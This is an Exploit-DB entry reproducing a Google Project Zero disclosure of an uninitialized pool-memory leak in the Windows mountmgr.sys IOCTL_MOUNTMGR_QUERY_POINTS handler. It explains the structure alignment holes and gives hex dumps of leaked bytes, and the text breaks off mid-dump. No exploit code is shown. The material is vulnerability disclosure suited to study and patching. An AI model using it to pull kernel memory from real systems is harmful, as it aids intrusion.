Exploit-DB #42212
Description: Microsoft Windows - 'IOCTL_MOUNTMGR_QUERY_POINTS' Kernel Mountmgr Pool Memory Disclosure
Type: dos
Platform: windows
Date: 2017-06-21
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1150&desc=2

We have discovered that the handler of the IOCTL_MOUNTMGR_QUERY_POINTS IOCTL in mountmgr.sys discloses portions of uninitialized pool memory to user-mode clients, due to output structure alignment holes.

On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:

--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ................
00000020: 00 00 00 00 00 00 ff ff 00 00 00 00 00 00 ff ff ................
00000030: 00 00 00 00 00 00 ff ff 00 00 00 00 00 00 ff ff ................
00000040: 00 00 00 00 00 00 ff ff 00 00 00 00 00 00 ff ff ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--- cut ---

Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. The output data is returned in a MOUNTMGR_MOUNT_POINTS structure [1], which in turn contains a list of MOUNTMGR_MOUNT_POINT structures [2]. If we map the above shadow bytes to the structure definitions, it turns out that the repeating pairs of uninitialized bytes correspond to alignment holes after the SymbolicLinkNameLength, UniqueIdLength and DeviceNameLength fields (all of type USHORT, followed by LONG fields, which must be 4-aligned). The concrete number of leaked bytes depends on the number of entries returned by the IOCTL.

The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:

--- cut ---
00000000: 56 03 00 00 05 00 00 00 ba 00 00 00 60 00 00 00 V...........`...
00000010: 80 00 00 00 0c 00 00 00 8c 00 00 00 2e 00[67 67]..............gg
00000020: 54 01 00 00 1c 00[67 67]1a 01 00 00 0c 00[67 67]T.....gg......gg
00000030: 26 01 00 00 2e 00[67 67]70 01 00 00 60 00[67 67]&.....ggp...`.gg
00000040: 1a 01 00 00 0c 00[67 67]26 01 00 00 2e 00[67 67]......gg&.....gg
00000050: da 02 00 00 60 00[67 67]d0 01 00 00 ee 00[67 67]....`.gg......gg
00000060: be 02 00 00 1c 00[67 67]3a 03 00 00 1c 00[67 67]......gg:.....gg
00000070: d0 01 00 00 ee 00[67 67]be 02 00 00 1c 00[67 67]......gg......gg
00000080: ee a2 5d 9f 00 00 10 00 00 00 00 00 5c 00 44 00 ..].........\.D.
00000090: 65 00 76 00 69 00 63 00 65 00 5c 00 48 00 61 00 e.v.i.c.e.\.H.a.
000000a0: 72 00 64 00 64 00 69 00 73 00 6b 00 56 00 6f 00 r.d.d.i.s.k.V.o.
000000b0: 6c 00 75 00 6d 00 65 00 31 00 5c 00 3f 00 3f 00 l.u.m.e.1.\.?.?.
000000c0: 5c 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 7b 00 \.V.o.l.u.m.e.{.
000000d0: 62 00 63 00 30 00 35 00 62 00 34 00 39 00 34 00 b.c.0.5.b.4.9.4.
000000e0: 2d 00 64 00 38 00 34 00 37 00 2d 00 31 00 31 00 -.d.8.4.7.-.1.1.
000000f0: 65 00 34 00 2d 00 61 00 33 00 30 00 64 00 2d 00 e.4.-.a.3.0.d.-.
00000100: 38 00 30 00 36 00 65 00 36 00 66 00 36 00 65 00 8.0.6.e.6.f.6.e.
00000110: 36 00 39 00 36 00 33 00 7d 00 ee a2 5d 9f 00 00 6.9.6.3.}...]...
00000120: 50 06 00 00 00 00 5c 00 44 00 65 00 76 00 69 00 P.....\.D.e.v.i.
00000130: 63 00 65 00 5c 00 48 00 61 00 72 00 64 00 64 00 c.e.\.H.a.r.d.d.
00000140: 69 00 73 00 6b 00 56 00 6f 00 6c 00 75 00 6d 00 i.s.k.V.o.l.u.m.
00000150: 65 00 32 00 5c 00 44 00 6f 00 73 00 44 00 65 00 e.2.\.D.o.s.D.e.
00000160: 76 00 69 00 63 00 65 00 73 00 5c 00 43 00 3a 00 v.i.c.e.s.\.C.:.
00000170: 5c 00 3f 00 3f 00 5c 00 56 00 6f 00 6c 00 75 00 \.?.?.\.V.o.l.u.
00000180: 6d 00 65 00 7b 00 62 00 63 00 30 00 35 00 62 00 m.e.{.b.c.0.5.b.
00000190: 34 00 39 00 35 00 2d 00 64 00 38 00 34 00 37 00 4.9.5.-.d.8.4.7.
000001a0: 2d 00 31 00 31 00 65 00 34 00 2d 00 61 00 33 00 -.1.1.e.4.-.a.3.
000001b0: 30 00 64 00 2d 00 38 00 30 00 36 00 65 00 36 00 0.d.-.8.0.6.e.6.
000001c0: 66 00 36 00 65 00 36 00 39 00 36 00 33 00 7d 00 f.6.e.6.9.6.3.}.
000001d0: 5c 00 3f 00 3f 00 5c 00 49 00 44 00 45 00 23 00 \.?.?.\.I.D.E.#.
000001e0: 43 00 64 00 52 00 6f 00 6d 00 56 00 42 00 4f 00 C.d.R.o.m.V.B.O.
000001f0: 58 00 5f 00 43 00 44 00 2d 00 52 00 4f 00 4d 00 X._.C.D.-.R.O.M.
00000200: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._.
00000210: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._